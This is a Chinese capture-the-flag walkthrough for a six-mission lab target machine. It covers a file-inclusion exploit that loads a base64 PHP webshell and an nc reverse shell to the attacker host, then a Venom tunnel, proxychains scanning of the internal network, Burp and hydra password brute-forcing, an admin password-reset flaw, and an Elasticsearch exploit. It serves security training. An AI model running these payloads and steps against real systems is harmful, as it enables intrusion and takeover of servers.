靶机地址:链接:https://pan.baidu.com/s/1digsxLOoLd0LoQjrp4OZ8g 提取码:yk91
难度级别:中-高
靶机背景介绍:
①你作为一名特工,协助调查世界最大军火商的非法交易
②本次靶机共有6个任务,每完成一个任务并提交flag,则解锁下一个任务
③8000端口用于提交flag和提示下一关信息,不得对8000端口展开攻击
④靶场环境基于Docker容器打造
⑤美观的flag都以#_flag.txt格式存在于目标系统中
⑥flag提交方式为flag{}
打靶过程:
.1.启动靶机
arp-scan -l //扫描主机,发现开启的靶机192.168.2.17
Nmap -p- 192.168.2.17 //扫面全部端口,发现22,8000,9000端口
2.先访问一下8000端口
复制第一个flag提交进入开启靶机,进入任务
3.通过页面提示,可以发现该靶机对公网开放了一个80端口,此时对80端口进行扫描
4.Nmap -p80 192.168.2.17 //由此可以得出,靶机的处理方法:提交一个flag,就会开启下一关的任务
直接访问80端口
5.点击Blog Post1发现URL是file= ,怀疑有文件包含,进行测试一下,测试发现果然有文件包含
6.利用文件包含加载自己的webshell,kali监听5555端口,反弹成功。
http://192.168.2.17/?file=data:/text/plain;base64,PD9waHAgJHZhcj1zaGVsbF9leGVjKCRfR0VUWydjbWQnXSk7IGVjaG8gJHZhciA/Pg==&cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.2.14+5555+>/tmp/f
7.Cd / 到根目录ls查看一下得到第二个flag
下一个目标是要攻击目标企业的内网,且内部网络地址范围为172.17.0.3-254
注:因为是内网地址段,所以通过kaLi无法直接访问到内网主机,此时可通过隧道代理的技术手段穿透内网,使得可以在kali主机上直接访问内容,此处使用Venom隧道连接工具
这里用的是Venom
8.将agent_linux_x64复制到kali,客户端程序复制到html目录下,启动阿帕奇服务,利用已连接shell下载隧道客户端程序,根目录没有权限,app目录有下载权限。
# cp agent_linux_x64 /var/www/html
# systemctl restart apache2
$ wget http://192.168.2.14/agent_linux_x64
9.Kali启动服务端,注意要给权限,监听9999端口
Chmod -R 777 ./admin_linux_x64
./admin_linux_x64 lport 9999
10.在客户端先给权限,然后执行先指定服务器短ip192.168.2.14 ,指定端口9999建立连接
Chmod +x agent_linux_x64
./agent_linux_x64 -rhost 192.168.2.14 -rport 9999
11.监听成功,show看节点
Goto 1 进入1节点
Socks 1080 开启socks代理
上述步骤完成后,在kali主机配置proxychains,利用proxychains的代理功能,让kali上的所有工具都可以利用代理去穿透目标系统的内网(在最后一行修改代理服务器的IP地址)
12.编辑这个文件配置proxychains4(可以挂这proxychains内网)
编辑最后一行改为本机的socks5 127.0.0.1 1080
13.挂proxychains用nmap扫描
proxychains4 nmap -p80,22,443 172.17.0.3-254 -sT -Pn
扫描出172.17.0.4:80端口
14.通过上述扫描发现开放了172.17.0.4:80,对其进行访问,访问时需要在浏览器配置代理
15.访问此ip,发现一个上传文件的,但是需要密码,密码的话直接用BP进行暴力破解
16.由于我是在本机操作的需要通过bp设置socks代理,浏览器正常设置bp代理
17.因为有密码抓包进行密码爆破
18.通过响应查看到上传的位置
19.访问路径发现成功进入,到根目录下发现flag(我是直接上传的大马,也可以上传冰蝎蚁剑马,进行连接)
20.进入下一关,页面告诉我们已经有一名特工已经进入目标服务器中,且在目标服务中发现了一些账号和密码,同时提示我们,目标系统上有一个SSH的server,可利用上述用户和密码登录至服务器中,但是目标ssh服务器的IP地址需要自己发现。
21.挂proxychains用nmap扫描22端口
proxychains4 nmap -p22 172.17.0.3-254 -sT -Pn
发现172.17.0.5:22是开放的
将user和pass创建出
22.利用hydra破解
proxychains hydra -L users.txt -P pass.txt ssh://172.17.0.5
23.找到了一个密码,进行登录
24.ssh连接,输入密码weapons登录成功
proxychains ssh root@172.17.0.5
25.到根目录ls一下,看到了第三个flag
26.进入下一个任务,通过上述提示可知某个主机没有开放80端口,但是开放了443,8000,8080,8888中的某个端口,继续通过扫描发现
27.扫描这些端口发现一个开放的8000端口
proxychains nmap -p443,8000,8080,8888 -sT -Pn 172.17.0.3-254
访问页面并使用密码登录
通过访问发现是一个类似聊天室的页面
28.查看页面发现一个修改密码的位置,可以修改此账号的密码,那么知道admin的账号可否修改他的密码呢?用bp试一下
BP截断更改用户名为admin
成功,试一下能不能登录成功
登录admin账号获得flag
29.进入到下一个页面,使用的是一个Elasticsearch的服务,这个服务的端口是9200,用nmap扫描一下内网
30.扫描发现172.17.0.7:9200开放
proxychains nmap -p9200 -sT -Pn 172.17.0.3-254
访问这个页面
31.通过kali搜索elasticsearch的可能利用的漏洞
# searchsploit elasticsearch
###也可直接利用
proxychains python2 /usr/share/exploitdb/exploits/linux/remote/36337.py 172.17.0.7
######
32.主要利用前两个先利用一下第一个
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
查看一下这个代码发现是用python2运行的
33.利用这个py文件,出现一个命令提示符,输入ls查看目录,发现一个flag文件。
34.提交最后的flag打靶结束,We got a burn notice on you. You're blacklisted。